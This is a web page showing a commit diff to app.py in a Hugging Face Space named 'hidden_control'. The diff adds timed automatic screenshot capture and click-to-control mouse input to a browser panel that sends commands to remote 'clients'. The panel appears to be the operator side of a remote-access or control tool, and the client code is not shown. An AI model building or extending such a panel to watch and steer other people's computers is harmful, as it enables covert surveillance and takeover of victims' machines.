Spaces:

profile114
/

hidden_control

Sleeping

App Files Files Community

profile114 commited on Mar 6

Commit

fccc128

verified ·

1 Parent(s): 23487f7

Upload 5 files

Browse files

Files changed (1) hide show

app.py +62 -2

app.py CHANGED Viewed

@@ -143,7 +143,13 @@ HTML_CONTENT = '''<!DOCTYPE html>
                 <div class="output" id="commandOutput">等待命令...</div>
             </div>
             <div class="tab-content" id="tab-screenshot" style="display:none;">
-                <button class="btn" onclick="requestScreenshot()">获取截图</button>
                 <div class="screenshot-view" id="screenshotView" style="margin-top:15px;"></div>
             </div>
             <div class="tab-content" id="tab-control" style="display:none;">
@@ -243,6 +249,8 @@ HTML_CONTENT = '''<!DOCTYPE html>
             document.getElementById('commandInput').value = '';
         }
         async function requestScreenshot() {
             if (!selectedClient) return;
             document.getElementById('screenshotView').innerHTML = '<p style="color:#888;">获取中...</p>';
@@ -256,7 +264,59 @@ HTML_CONTENT = '''<!DOCTYPE html>
         async function loadScreenshot() {
             if (!selectedClient) return;
             const t = Date.now();
-            document.getElementById('screenshotView').innerHTML = `<img src="/api/screenshots/${selectedClient.id}?t=${t}">`;
         }
         async function sendMouseClick(button) {

                 <div class="output" id="commandOutput">等待命令...</div>
             </div>
             <div class="tab-content" id="tab-screenshot" style="display:none;">
+                <div class="command-input">
+                    <button class="btn" onclick="requestScreenshot()">获取截图</button>
+                    <input type="number" id="screenInterval" value="3" min="1" max="60" style="width:60px;padding:10px;border-radius:5px;border:1px solid #0f3460;background:#1a1a2e;color:#eee;">
+                    <span style="color:#888;">秒</span>
+                    <button class="btn btn-success" id="btnAutoScreen" onclick="toggleAutoScreenshot()">自动连续</button>
+                    <button class="btn btn-danger" id="btnStopScreen" onclick="stopAutoScreenshot()" style="display:none;">停止</button>
+                </div>
                 <div class="screenshot-view" id="screenshotView" style="margin-top:15px;"></div>
             </div>
             <div class="tab-content" id="tab-control" style="display:none;">
             document.getElementById('commandInput').value = '';
         }
+        let screenshotInterval = null;
         async function requestScreenshot() {
             if (!selectedClient) return;
             document.getElementById('screenshotView').innerHTML = '<p style="color:#888;">获取中...</p>';
         async function loadScreenshot() {
             if (!selectedClient) return;
             const t = Date.now();
+            const img = `<img id="screenshotImg" src="/api/screenshots/${selectedClient.id}?t=${t}" style="cursor:crosshair;max-width:100%;">`;
+            document.getElementById('screenshotView').innerHTML = img;
+            document.getElementById('screenshotImg').onclick = function(e) {
+                const rect = this.getBoundingClientRect();
+                const x = Math.round((e.clientX - rect.left) * (this.naturalWidth / rect.width));
+                const y = Math.round((e.clientY - rect.top) * (this.naturalHeight / rect.height));
+                sendMouseClickAt(x, y);
+            };
+        }
+        async function sendMouseClickAt(x, y) {
+            if (!selectedClient) return;
+            await fetch('/api/command', {
+                method: 'POST', headers: {'Content-Type': 'application/json'},
+                body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: 'left', x: x, y: y})})
+            });
+            document.getElementById('commandOutput').textContent = `鼠标点击: (${x}, ${y})`;
+        }
+        function startAutoScreenshot() {
+            if (screenshotInterval) return;
+            const interval = (parseInt(document.getElementById('screenInterval').value) || 3) * 1000;
+            screenshotInterval = setInterval(async () => {
+                if (!selectedClient) {
+                    stopAutoScreenshot();
+                    return;
+                }
+                await fetch('/api/command', {
+                    method: 'POST', headers: {'Content-Type': 'application/json'},
+                    body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''})
+                });
+                setTimeout(loadScreenshot, 1000);
+            }, interval);
+        }
+        function stopAutoScreenshot() {
+            if (screenshotInterval) {
+                clearInterval(screenshotInterval);
+                screenshotInterval = null;
+            }
+            document.getElementById('btnAutoScreen').style.display = 'inline-block';
+            document.getElementById('btnStopScreen').style.display = 'none';
+        }
+        function toggleAutoScreenshot() {
+            if (screenshotInterval) {
+                stopAutoScreenshot();
+            } else {
+                startAutoScreenshot();
+                document.getElementById('btnAutoScreen').style.display = 'none';
+                document.getElementById('btnStopScreen').style.display = 'inline-block';
+            }
         }
         async function sendMouseClick(button) {